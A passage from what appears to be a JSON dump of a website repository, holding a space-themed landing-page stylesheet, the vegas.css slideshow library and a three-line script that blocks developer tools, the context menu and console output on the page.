10px;\n}\n\n#contact-form button#valid-form:hover {\n    background: linear-gradient(135deg, #7c3aed, #0891b2);\n    color: #FFFFFF;\n}\n\n#block-answer {\n    min-height: 60px;\n    margin-top: 1em;\n    text-align: center;\n    color: #94a3b8;\n}\n\n.success-message,\n.error-message {\n    color: #94a3b8;\n}\n\n.success-message p,\n.error-message p {\n    color: #94a3b8 !important;\n}\n\n.success-message .ion-checkmark-round,\n.error-message .ion-checkmark-round {\n    color: #27AE60;\n}\n\n.error-message .ion-close-round {\n    color: #ff3d71;\n}\n\n\n/* ------------------------------------- */\n\n\n/* 6. Social Icons ..................... */\n\n\n/* ------------------------------------- */\n\n.social-icons {\n    position: absolute;\n    left: 10%;\n    bottom: 5%;\n    margin-left: -22px;\n    margin-bottom: -22px;\n    display: block;\n    z-index: 9;\n    width: auto;\n    overflow: hidden;\n    white-space: nowrap;\n    -webkit-transition: all 0.7s cubic-bezier(0.42, 0, 0.58, 1);\n    -moz-transition: all 0.7s cubic-bezier(0.42, 0, 0.58, 1);\n    -ms-transition: all 0.7s cubic-bezier(0.42, 0, 0.58, 1);\n    -o-transition: all 0.7s cubic-bezier(0.42, 0, 0.58, 1);\n    transition: all 0.7s cubic-bezier(0.42, 0, 0.58, 1);\n}\n\n.social-icons i {\n    color: #FFFFFF;\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n}\n\n.social-icons a {\n    color: white;\n    width: 50px;\n    line-height: 50px;\n    letter-spacing: 0;\n    background: transparent;\n    font-size: 1em;\n    font-weight: 300;\n    height: 50px;\n    display: inline-block;\n    text-align: center;\n    float: left;\n    margin-right: 2px;\n    border: none;\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n}\n\n.social-icons a:hover {\n    color: #a78bfa;\n    background: transparent;\n}\n\n.social-icons a:hover i {\n    color: #a78bfa;\n    -webkit-transform: scale(1.2);\n    -moz-transform: scale(1.2);\n    -ms-transform: scale(1.2);\n    -o-transform: scale(1.2);\n    transform: scale(1.2);\n}\n\n\n/* ------------------------------------- */\n\n\n/* 7. Footer/Copyright ................. */\n\n\n/* ------------------------------------- */\n\nfooter {\n    padding: 10px 0;\n    background: transparent;\n    text-align: center;\n}\n\nfooter p {\n    font-size: 11px;\n    font-weight: 100;\n    letter-spacing: 2px;\n    text-transform: uppercase;\n    color: #64748b;\n}\n\n\n/* ------------------------------------- */\n\n\n/* VARIANT CLOUD ....................... */\n\n\n/* ------------------------------------- */\n\n#cloud-animation {\n    top: 0;\n    bottom: 0;\n    left: 0;\n    right: 0;\n    z-index: -1;\n    position: fixed;\n}\n\n#cloud-animation img {\n    width: 100%;\n    left: 0;\n    top: 0;\n    position: absolute;\n}\n\n@-webkit-keyframes animCloud {\n    from {\n        -webkit-transform: translateX(100%);\n    }\n    to {\n        -webkit-transform: translateX(-100%);\n    }\n}\n\n@-moz-keyframes animCloud {\n    from {\n        -moz-transform: translateX(100%);\n    }\n    to {\n        -moz-transform: translateX(-100%);\n    }\n}\n\n@keyframes animCloud {\n    from {\n        -webkit-transform: translateX(100%);\n        -moz-transform: translateX(100%);\n        -ms-transform: translateX(100%);\n        -o-transform: translateX(100%);\n        transform: translateX(100%);\n    }\n    to {\n        -webkit-transform: translateX(-100%);\n        -moz-transform: translateX(-100%);\n        -ms-transform: translateX(-100%);\n        -o-transform: translateX(-100%);\n        transform: translateX(-100%);\n    }\n}\n\n#cloud1 {\n    -webkit-animation: animCloud 25s infinite linear;\n    -moz-animation: animCloud 25s infinite linear;\n    animation: animCloud 25s infinite linear;\n}\n\n#cloud2 {\n    -webkit-animation: animCloud 35s infinite linear;\n    -moz-animation: animCloud 35s infinite linear;\n    animation: animCloud 35s infinite linear;\n}\n\n#cloud3 {\n    -webkit-animation: animCloud 45s infinite linear;\n    -moz-animation: animCloud 45s infinite linear;\n    animation: animCloud 45s infinite linear;\n}\n\n#cloud4 {\n    -webkit-animation: animCloud 55s infinite linear;\n    -moz-animation: animCloud 55s infinite linear;\n    animation: animCloud 55s infinite linear;\n}\n\n\n/* ------------------------------------- */\n\n\n/* VARIANT YOUTUBE ..................... */\n\n\n/* ------------------------------------- */\n\n.mbYTP_wrapper {\n    width: 100vw !important;\n    min-width: 0 !important;\n    left: 0 !important;\n}\n\n.ytb-overlay {\n    background: rgba(10, 10, 26, 0.7);\n}\n\n#player-nav {\n    position: fixed;\n    right: 20px;\n    bottom: 20px;\n    text-align: center;\n}\n\n#player-nav li {\n    display: inline-block;\n    background: rgba(139, 92, 246, 0.3);\n    height: 40px;\n    width: 40px;\n    line-height: 40px;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    -ms-border-radius: 0;\n    border-radius: 6px;\n    -webkit-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -moz-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -ms-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    -o-transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n    transition: all 0.2s cubic-bezier(0.42, 0, 0.58, 1);\n}\n\n#player-nav li:hover {\n    background: rgba(139, 92, 246, 0.6);\n}\n\n#player-nav li:hover a {\n    color: #FFFFFF;\n}\n\n#player-nav li a {\n    display: block;\n    width: 100%;\n    height: 100%;\n    font-size: 15px;\n    color: rgba(255, 255, 255, 0.5);\n}\n\n\n/* ------------------------------------- */\n\n\n/* MAP VARIANT ......................... */\n\n\n/* ------------------------------------- */\n\n.map-container {\n    position: fixed;\n    z-index: 1;\n    top: 0;\n    left: 50%;\n    width: 50vw;\n    opacity: 0;\n}\n\n.map-container #map {\n    height: auto;\n    width: auto;\n    position: absolute;\n    top: 0;\n    left: 0;\n    color: #333333 !important;\n}\n\n.map-container #map h6 {\n    font-weight: 500;\n    color: #333333;\n    font-size: 1em;\n    margin-bottom: 0.2em;\n}\n\n.map-container #map p {\n    font-weight: 400;\n    color: #666666;\n    font-size: 1em;\n    line-height: 1.5;\n}\n\n.pswp__bg {\n    background: #0a0a1a;\n}\n\n.pswp__caption h4 {\n    margin-bottom: 10px !important;\n}\n\n\n/* ------------------------------------- */\n\n\n/* COSMIC ENHANCEMENTS ................. */\n\n\n/* ------------------------------------- */\n\n/* Nebula glow behind left-side content */\n#left-side::before {\n    content: '';\n    position: absolute;\n    top: 30%;\n    left: -10%;\n    width: 500px;\n    height: 500px;\n    background: radial-gradient(circle, rgba(139, 92, 246, 0.12) 0%, rgba(6, 182, 212, 0.06) 40%, transparent 70%);\n    border-radius: 50%;\n    pointer-events: none;\n    animation: nebulaPulse 8s ease-in-out infinite alternate;\n    z-index: -1;\n    overflow: hidden;\n}\n\n#left-side::after {\n    content: '';\n    position: absolute;\n    bottom: 10%;\n    right: 5%;\n    width: 350px;\n    height: 350px;\n    background: radial-gradient(circle, rgba(6, 182, 212, 0.1) 0%, rgba(139, 92, 246, 0.05) 40%, transparent 70%);\n    border-radius: 50%;\n    pointer-events: none;\n    animation: nebulaPulse 10s ease-in-out infinite alternate-reverse;\n    z-index: -1;\n    overflow: hidden;\n}\n\n@keyframes nebulaPulse {\n    0% {\n        opacity: 0.6;\n        transform: scale(1);\n    }\n    100% {\n        opacity: 1;\n        transform: scale(1.15);\n    }\n}\n\n/* Glowing text for h1 */\nh1.text-intro {\n    background: linear-gradient(135deg, #e2e8f0, #c4b5fd, #67e8f9);\n    -webkit-background-clip: text;\n    -webkit-text-fill-color: transparent;\n    background-clip: text;\n}\n\n/* Subtle glow on h2 */\nh2.text-intro {\n    color: #94a3b8;\n}\n\n/* Cosmic border glow for right-side panel */\n#right-side::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: -1px;\n    width: 1px;\n    height: 100%;\n    background: linear-gradient(180deg, transparent, rgba(139, 92, 246, 0.4), rgba(6, 182, 212, 0.4), transparent);\n    pointer-events: none;\n    z-index: 1;\n}\n\n/* Smooth modern scrollbar for right-side */\n#right-side::-webkit-scrollbar {\n    width: 4px;\n}\n\n#right-side::-webkit-scrollbar-track {\n    background: rgba(10, 10, 26, 0.5);\n}\n\n#right-side::-webkit-scrollbar-thumb {\n    background: linear-gradient(180deg, #8b5cf6, #06b6d4);\n    border-radius: 4px;\n}\n\n/* Focus glow for form inputs */\n#contact-form .form-control:focus,\n#subscribe #notifyMe .form-group .form-control:focus {\n    border-color: rgba(139, 92, 246, 0.5);\n    box-shadow: 0 0 10px rgba(139, 92, 246, 0.15);\n}\n\n/* Cosmic photo overlay */\n#right-side .content .photo-line figure a.box-picture:hover {\n    background: linear-gradient(135deg, rgba(139, 92, 246, 0.3), rgba(6, 182, 212, 0.2));\n}\n\n/* Star twinkle enhancement */\n@keyframes twinkle {\n    0%, 100% { opacity: 1; }\n    50% { opacity: 0.4; }\n}\n\n/* Glow effect for photo details */\n#right-side .content .photo-line figure .photo-details {\n    background: rgba(15, 15, 35, 0.9);\n    backdrop-filter: blur(10px);\n    -webkit-backdrop-filter: blur(10px);\n    border-top: 1px solid rgba(139, 92, 246, 0.15);\n}\n\n#right-side .content .photo-line figure .photo-details h4 {\n    color: #c4b5fd;\n}\n\n#right-side .content .photo-line figure .photo-details p {\n    color: #94a3b8;\n}\n\n/* Selection color */\n::selection {\n    background: rgba(139, 92, 246, 0.3);\n    color: #FFFFFF;\n}\n\n::-moz-selection {\n    background: rgba(139, 92, 246, 0.3);\n    color: #FFFFFF;\n}\n\n@media only screen and (max-width: 1024px) {\n    .overlay {\n        left: 0;\n        width: 100%;\n        height: 100%;\n    }\n    .overlay.skew-part {\n        -webkit-transform: skew(0deg, 0deg);\n        -moz-transform: skew(0deg, 0deg);\n        -ms-transform: skew(0deg, 0deg);\n        -o-transform: skew(0deg, 0deg);\n        transform: skew(0deg, 0deg);\n    }\n    .map-container {\n        position: relative;\n        z-index: 1;\n        top: 0;\n        left: 0;\n    }\n    .map-container #map {\n        height: 100vh !important;\n        width: 100vw !important;\n        position: relative;\n    }\n    #stars,\n    #stars2,\n    #stars3 {\n        margin-left: 0 !important;\n    }\n    .brand-logo {\n        position: relative;\n        left: auto;\n        top: auto;\n        transform: none !important;\n        display: block;\n        margin: 30px auto 20px;\n        max-width: 150px;\n        width: 150px;\n        opacity: 0;\n        pointer-events: none;\n        z-index: 2;\n    }\n\n    .brand-logo--visible {\n        opacity: 0.3;\n    }\n    .light-btn {\n        padding: 0.7em 0;\n        margin-right: 0;\n        float: none;\n        margin: 0 auto;\n        margin-bottom: 15px;\n        max-width: 50%;\n    }\n    .action-btn {\n        padding: 0.7em 0;\n        float: none;\n        margin: 0 auto;\n        max-width: 50%;\n    }\n    #left-side {\n        position: relative;\n        width: 100%;\n        height: auto;\n        padding: 100px 0 150px;\n    }\n    #left-side .content {\n        position: relative;\n        left: 50%;\n        -webkit-transform: translateX(-50%);\n        -moz-transform: translateX(-50%);\n        -ms-transform: translateX(-50%);\n        -o-transform: translateX(-50%);\n        transform: translateX(-50%);\n        top: auto;\n        text-align: center;\n    }\n    .social-icons {\n        left: 0;\n        bottom: 0;\n        margin-left: 0;\n        margin-bottom: 0;\n    }\n    #right-side {\n        position: relative;\n        -webkit-transform: translate3d(0, 0, 0);\n        -moz-transform: translate3d(0, 0, 0);\n        -o-transform: translate3d(0, 0, 0);\n        -ms-transform: translate3d(0, 0, 0);\n        transform: translate3d(0, 0, 0);\n        top: 0;\n        width: 100%;\n    }\n    #right-side.hide-right {\n        -webkit-transform: translate3d(0, 0, 0);\n        -moz-transform: translate3d(0, 0, 0);\n        -o-transform: translate3d(0, 0, 0);\n        -ms-transform: translate3d(0, 0, 0);\n        transform: translate3d(0, 0, 0);\n    }\n    #close-more-info {\n        display: none;\n    }\n    .mCSB_scrollTools {\n        right: 0;\n    }\n    .mCSB_scrollTools-left {\n        right: 0 !important;\n    }\n\n    #left-side::before,\n    #left-side::after {\n        display: none;\n    }\n\n    #left-side {\n        overflow: hidden;\n    }\n}\n\n\n/* Small Devices, Tablets */\n\n@media only screen and (max-width: 768px) {\n    .light-btn {\n        max-width: 70%;\n        min-width: 60%;\n    }\n    .action-btn {\n        max-width: 70%;\n        min-width: 60%;\n    }\n    .photo-line figure {\n        padding: 0;\n        margin: 0 0 20px !important;\n        width: 100% !important;\n        -webkit-box-shadow: 0 0 1px rgba(0, 0, 0, 0.2);\n        -moz-box-shadow: 0 0 1px rgba(0, 0, 0, 0.2);\n        box-shadow: 0 0 1px rgba(0, 0, 0, 0.2);\n    }\n    .info-contact .item-map:first-child {\n        padding-left: 0;\n    }\n    .info-contact .item-map:last-child {\n        padding-right: 0;\n    }\n    .dialog__content {\n        width: 80%;\n        max-width: 80%;\n        min-width: 75%;\n    }\n    .dialog .dialog-inner {\n        padding: 40px 20px 90px;\n        overflow: hidden;\n    }\n}\n\n\n/* Extra Small Devices, Phones */\n\n@media only screen and (max-width: 480px) {\n    #left-side {\n        padding: 50px 0 100px;\n    }\n    #left-side .content {\n        padding: 0 3%;\n    }\n    h1.text-intro {\n        font-size: 30px;\n    }\n    h2.text-intro {\n        font-size: 18px;\n    }\n    .light-btn {\n        max-width: 80%;\n        min-width: 70%;\n    }\n    .action-btn {\n        max-width: 80%;\n        min-width: 70%;\n    }\n    .dialog__content {\n        width: 95%;\n        max-width: 95%;\n        min-width: 75%;\n    }\n    .dialog .close-newsletter {\n        top: 2px;\n        right: 5px;\n    }\n    .dialog .dialog-inner h4 {\n        font-size: 25px;\n        margin-bottom: 20px;\n    }\n    #subscribe .block-message {\n        padding: 5px 2px;\n    }\n    #subscribe p.notify-valid {\n        font-size: 12px;\n    }\n}\n\n\n/* Only for tablet in landscape mode */\n\n\n/* Only for phone in landscape mode */\n\n@media screen and (max-device-width: 667px) and (orientation: landscape) {\n    #left-side {\n        padding: 50px 0 100px;\n    }\n    h1.text-intro {\n        font-size: 30px;\n    }\n    h2.text-intro {\n        font-size: 18px;\n    }\n    .dialog__content {\n        width: 100%;\n        max-width: 100%;\n        min-width: 75%;\n    }\n    .dialog .close-newsletter {\n        top: 2px;\n        right: 5px;\n    }\n    .dialog .dialog-inner {\n        padding: 40px 20px 50px;\n    }\n    .dialog .dialog-inner h4 {\n        font-size: 25px;\n        margin-bottom: 5px;\n    }\n    #subscribe #notifyMe {\n        margin-top: 10px;\n    }\n    #subscribe #notifyMe .form-group .form-control {\n        width: 70%;\n        margin: 0;\n        float: left;\n    }\n    #subscribe #notifyMe .form-group button.submit {\n        width: 30%;\n        margin: 0;\n        float: left;\n    }\n    #subscribe .block-message {\n        padding: 5px 2px;\n    }\n    #subscribe p.notify-valid {\n        font-size: 12px;\n    }\n}"
  },
  {
    "path": "mov/css/vegas.css",
    "content": ".vegas-wrapper,\n.vegas-overlay,\n.vegas-timer,\n.vegas-slide,\n.vegas-slide-inner {\n    position: absolute;\n    top: 0;\n    left: 0;\n    bottom: 0;\n    right: 0;\n    overflow: hidden;\n    border: none;\n    padding: 0;\n    margin: 0;\n}\n\n.vegas-overlay {\n    opacity: .5;\n    background: transparent url(overlays/02.png) center center repeat;\n}\n\n.vegas-timer {\n    top: auto;\n    bottom: 0;\n    height: 2px;\n}\n    .vegas-timer-progress {\n        width: 0%;\n        height: 100%;\n        background: white;\n        -webkit-transition: width ease-out;\n                transition: width ease-out;\n    }\n        .vegas-timer-running .vegas-timer-progress {\n            width: 100%;\n        }\n\n.vegas-slide,\n.vegas-slide-inner {\n    margin: 0;\n    padding: 0;\n    background: transparent center center no-repeat;\n    -webkit-transform: translateZ(0);\n            transform: translateZ(0);\n}\n\nbody .vegas-container {\n    overflow: hidden !important;\n    position: relative;\n}\n    \n.vegas-video {\n    min-width: 100%; \n    min-height: 100%;\n    width: auto; \n    height: auto;\n}\n\nbody.vegas-container {\n    z-index: -2;\n}\n    body.vegas-container > .vegas-timer,\n    body.vegas-container > .vegas-overlay,\n    body.vegas-container > .vegas-slide {\n        position: fixed;\n        z-index: -1;\n    }\n\n    /* Target Safari IOS7+ in order to add 76px */\n    _::full-page-media, _:future, \n    :root body.vegas-container > .vegas-slide,\n    :root body.vegas-container > .vegas-overlay {\n        bottom: -76px;\n    }\n\n/*************************\n    Transitions\n *************************/\n\n/* fade */\n.vegas-transition-fade,\n.vegas-transition-fade2 {\n    opacity: 0;\n}\n\n.vegas-transition-fade-in,\n.vegas-transition-fade2-in {\n    opacity: 1;\n}\n\n.vegas-transition-fade2-out {\n    opacity: 0;\n}\n\n/* blur */\n.vegas-transition-blur,\n.vegas-transition-blur2 {\n    opacity: 0;\n    -webkit-filter: blur(32px);\n            filter: blur(32px);\n}\n\n.vegas-transition-blur-in,\n.vegas-transition-blur2-in {\n    opacity: 1;\n    -webkit-filter: blur(0px);\n            filter: blur(0px);\n}\n\n.vegas-transition-blur2-out {\n    opacity: 0;\n}\n\n/* flash */\n.vegas-transition-flash,\n.vegas-transition-flash2 {\n    opacity: 0;\n    -webkit-filter: brightness(25);\n            filter: brightness(25);\n}\n\n.vegas-transition-flash-in,\n.vegas-transition-flash2-in {\n    opacity: 1;\n    -webkit-filter: brightness(1);\n            filter: brightness(1);\n}\n\n.vegas-transition-flash2-out {\n    opacity: 0;\n    -webkit-filter: brightness(25);\n            filter: brightness(25);\n}\n\n/* negative */\n.vegas-transition-negative,\n.vegas-transition-negative2 {\n    opacity: 0;\n    -webkit-filter: invert(100%);\n            filter: invert(100%);\n}\n\n.vegas-transition-negative-in,\n.vegas-transition-negative2-in {\n    opacity: 1;\n    -webkit-filter: invert(0);\n            filter: invert(0);\n}\n\n.vegas-transition-negative2-out {\n    opacity: 0;\n    -webkit-filter: invert(100%);\n            filter: invert(100%);\n}\n\n/* burn */\n.vegas-transition-burn,\n.vegas-transition-burn2 {\n    opacity: 0;\n    -webkit-filter: contrast(1000%) saturate(1000%);\n            filter: contrast(1000%) saturate(1000%);\n}\n\n.vegas-transition-burn-in,\n.vegas-transition-burn2-in {\n    opacity: 1;\n    -webkit-filter: contrast(100%) saturate(100%);\n            filter: contrast(100%) saturate(100%);\n}\n\n.vegas-transition-burn2-out {\n    opacity: 0;\n    -webkit-filter: contrast(1000%) saturate(1000%);\n            filter: contrast(1000%) saturate(1000%);\n}\n\n/* slideLeft */\n.vegas-transition-slideLeft,\n.vegas-transition-slideLeft2 {\n    -webkit-transform: translateX(100%);\n        -ms-transform: translateX(100%);\n            transform: translateX(100%);\n}\n\n.vegas-transition-slideLeft-in,\n.vegas-transition-slideLeft2-in {\n    -webkit-transform: translateX(0%);\n        -ms-transform: translateX(0%);\n            transform: translateX(0%); \n}\n\n.vegas-transition-slideLeft2-out {\n    -webkit-transform: translateX(-100%);\n        -ms-transform: translateX(-100%);\n            transform: translateX(-100%);\n}\n\n/* slideRight */\n.vegas-transition-slideRight,\n.vegas-transition-slideRight2 {\n    -webkit-transform: translateX(-100%);\n        -ms-transform: translateX(-100%);\n            transform: translateX(-100%);\n}\n\n.vegas-transition-slideRight-in,\n.vegas-transition-slideRight2-in {\n    -webkit-transform: translateX(0%);\n        -ms-transform: translateX(0%);\n            transform: translateX(0%); \n}\n\n.vegas-transition-slideRight2-out {\n    -webkit-transform: translateX(100%);\n        -ms-transform: translateX(100%);\n            transform: translateX(100%);\n}\n\n/* slideUp */\n.vegas-transition-slideUp,\n.vegas-transition-slideUp2 {\n    -webkit-transform: translateY(100%);\n        -ms-transform: translateY(100%);\n            transform: translateY(100%);\n}\n\n.vegas-transition-slideUp-in,\n.vegas-transition-slideUp2-in {\n    -webkit-transform: translateY(0%);\n        -ms-transform: translateY(0%);\n            transform: translateY(0%); \n}\n\n.vegas-transition-slideUp2-out {\n    -webkit-transform: translateY(-100%);\n        -ms-transform: translateY(-100%);\n            transform: translateY(-100%);\n}\n\n/* slideDown */\n.vegas-transition-slideDown,\n.vegas-transition-slideDown2 {\n    -webkit-transform: translateY(-100%);\n        -ms-transform: translateY(-100%);\n            transform: translateY(-100%);\n}\n\n.vegas-transition-slideDown-in,\n.vegas-transition-slideDown2-in {\n    -webkit-transform: translateY(0%);\n        -ms-transform: translateY(0%);\n            transform: translateY(0%); \n}\n\n.vegas-transition-slideDown2-out {\n    -webkit-transform: translateY(100%);\n        -ms-transform: translateY(100%);\n            transform: translateY(100%);\n}\n\n/* zoomIn */\n.vegas-transition-zoomIn,\n.vegas-transition-zoomIn2 {\n    -webkit-transform: scale(0);\n        -ms-transform: scale(0);\n            transform: scale(0);\n    opacity: 0;\n}\n\n.vegas-transition-zoomIn-in,\n.vegas-transition-zoomIn2-in {\n    -webkit-transform: scale(1);\n        -ms-transform: scale(1);\n            transform: scale(1);\n    opacity: 1;\n}\n\n.vegas-transition-zoomIn2-out {\n    -webkit-transform: scale(2);\n        -ms-transform: scale(2);\n            transform: scale(2);\n    opacity: 0;\n}\n\n/* zoomOut */\n.vegas-transition-zoomOut,\n.vegas-transition-zoomOut2 {\n    -webkit-transform: scale(2);\n        -ms-transform: scale(2);\n            transform: scale(2);\n    opacity: 0;\n}\n\n.vegas-transition-zoomOut-in,\n.vegas-transition-zoomOut2-in {\n    -webkit-transform: scale(1);\n        -ms-transform: scale(1);\n            transform: scale(1);\n    opacity: 1;\n}\n\n.vegas-transition-zoomOut2-out {\n    -webkit-transform: scale(0);\n        -ms-transform: scale(0);\n            transform: scale(0);\n    opacity: 0;\n}\n\n/* swirlLeft */\n.vegas-transition-swirlLeft,\n.vegas-transition-swirlLeft2 {\n    -webkit-transform: scale(2) rotate(35deg);\n        -ms-transform: scale(2) rotate(35deg);\n            transform: scale(2) rotate(35deg);\n    opacity: 0;\n}\n\n.vegas-transition-swirlLeft-in,\n.vegas-transition-swirlLeft2-in {\n    -webkit-transform: scale(1) rotate(0deg);\n        -ms-transform: scale(1) rotate(0deg);\n            transform: scale(1) rotate(0deg); \n    opacity: 1;\n}\n\n.vegas-transition-swirlLeft2-out {\n    -webkit-transform: scale(2) rotate(-35deg);\n        -ms-transform: scale(2) rotate(-35deg);\n            transform: scale(2) rotate(-35deg);\n    opacity: 0;\n}\n\n/* swirlRight */\n.vegas-transition-swirlRight,\n.vegas-transition-swirlRight2 {\n    -webkit-transform: scale(2) rotate(-35deg);\n        -ms-transform: scale(2) rotate(-35deg);\n            transform: scale(2) rotate(-35deg);\n    opacity: 0;\n}\n\n.vegas-transition-swirlRight-in,\n.vegas-transition-swirlRight2-in {\n    -webkit-transform: scale(1) rotate(0deg);\n        -ms-transform: scale(1) rotate(0deg);\n            transform: scale(1) rotate(0deg);\n    opacity: 1;\n}\n\n.vegas-transition-swirlRight2-out {\n    -webkit-transform: scale(2) rotate(35deg);\n        -ms-transform: scale(2) rotate(35deg);\n            transform: scale(2) rotate(35deg);\n    opacity: 0;\n}\n\n/*************************\n    Animations\n *************************/\n\n.vegas-animation-kenburns {\n    -webkit-animation: kenburns ease-out;\n            animation: kenburns ease-out;\n}\n@-webkit-keyframes kenburns {\n    0% {\n        -webkit-transform: scale(1.5);\n                transform: scale(1.5);\n    }\n    100% {\n        -webkit-transform: scale(1);\n                transform: scale(1);\n    }\n}\n@keyframes kenburns {\n    0% {\n        -webkit-transform: scale(1.5);\n                transform: scale(1.5);\n    }\n    100% {\n        -webkit-transform: scale(1);\n                transform: scale(1);\n    }\n}\n\n.vegas-animation-kenburnsUp {\n    -webkit-animation: kenburnsUp ease-out;\n            animation: kenburnsUp ease-out;\n}\n@-webkit-keyframes kenburnsUp {\n    0% {\n        -webkit-transform: scale(1.5) translate(0, 10%);\n                transform: scale(1.5) translate(0, 10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n@keyframes kenburnsUp {\n    0% {\n        -webkit-transform: scale(1.5) translate(0, 10%);\n                transform: scale(1.5) translate(0, 10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n\n.vegas-animation-kenburnsDown {\n    -webkit-animation: kenburnsDown ease-out;\n            animation: kenburnsDown ease-out;\n}\n@-webkit-keyframes kenburnsDown {\n    0% {\n        -webkit-transform: scale(1.5) translate(0, -10%);\n                transform: scale(1.5) translate(0, -10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n@keyframes kenburnsDown {\n    0% {\n        -webkit-transform: scale(1.5) translate(0, -10%);\n                transform: scale(1.5) translate(0, -10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n\n.vegas-animation-kenburnsLeft {\n    -webkit-animation: kenburnsLeft ease-out;\n            animation: kenburnsLeft ease-out;\n}\n@-webkit-keyframes kenburnsLeft {\n    0% {\n        -webkit-transform: scale(1.5) translate(10%, 0);\n                transform: scale(1.5) translate(10%, 0);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n@keyframes kenburnsLeft {\n    0% {\n        -webkit-transform: scale(1.5) translate(10%, 0);\n                transform: scale(1.5) translate(10%, 0);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n\n.vegas-animation-kenburnsRight {\n    -webkit-animation: kenburnsRight ease-out;\n            animation: kenburnsRight ease-out;\n}\n@-webkit-keyframes kenburnsRight {\n    0% {\n        -webkit-transform: scale(1.5) translate(-10%, 0);\n                transform: scale(1.5) translate(-10%, 0);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n@keyframes kenburnsRight {\n    0% {\n        -webkit-transform: scale(1.5) translate(-10%, 0);\n                transform: scale(1.5) translate(-10%, 0);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n\n.vegas-animation-kenburnsUpLeft {\n    -webkit-animation: kenburnsUpLeft ease-out;\n            animation: kenburnsUpLeft ease-out;\n}\n@-webkit-keyframes kenburnsUpLeft {\n    0% {\n        -webkit-transform: scale(1.5) translate(10%, 10%);\n                transform: scale(1.5) translate(10%, 10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n@keyframes kenburnsUpLeft {\n    0% {\n        -webkit-transform: scale(1.5) translate(10%, 10%);\n                transform: scale(1.5) translate(10%, 10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n\n.vegas-animation-kenburnsUpRight {\n    -webkit-animation: kenburnsUpRight ease-out;\n            animation: kenburnsUpRight ease-out;\n}\n@-webkit-keyframes kenburnsUpRight {\n    0% {\n        -webkit-transform: scale(1.5) translate(-10%, 10%);\n                transform: scale(1.5) translate(-10%, 10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n@keyframes kenburnsUpRight {\n    0% {\n        -webkit-transform: scale(1.5) translate(-10%, 10%);\n                transform: scale(1.5) translate(-10%, 10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n\n.vegas-animation-kenburnsDownLeft {\n    -webkit-animation: kenburnsDownLeft ease-out;\n            animation: kenburnsDownLeft ease-out;\n}\n@-webkit-keyframes kenburnsDownLeft {\n    0% {\n        -webkit-transform: scale(1.5) translate(10%, -10%);\n                transform: scale(1.5) translate(10%, -10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n@keyframes kenburnsDownLeft {\n    0% {\n        -webkit-transform: scale(1.5) translate(10%, -10%);\n                transform: scale(1.5) translate(10%, -10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n\n.vegas-animation-kenburnsDownRight {\n    -webkit-animation: kenburnsDownRight ease-out;\n            animation: kenburnsDownRight ease-out;\n}\n@-webkit-keyframes kenburnsDownRight {\n    0% {\n        -webkit-transform: scale(1.5) translate(-10%, -10%);\n                transform: scale(1.5) translate(-10%, -10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n@keyframes kenburnsDownRight {\n    0% {\n        -webkit-transform: scale(1.5) translate(-10%, -10%);\n                transform: scale(1.5) translate(-10%, -10%);\n    }\n    100% {\n        -webkit-transform: scale(1) translate(0, 0);\n                transform: scale(1) translate(0, 0);\n    }\n}\n"
  },
  {
    "path": "mov/html-guard-config.js",
    "content": "HtmlGuard.protections.antiDevTools();\nHtmlGuard.protections.blockContextMenu();\nHtmlGuard.protections.blockConsoleOutput();"
  },
  {
    "path": "mov/index.html",
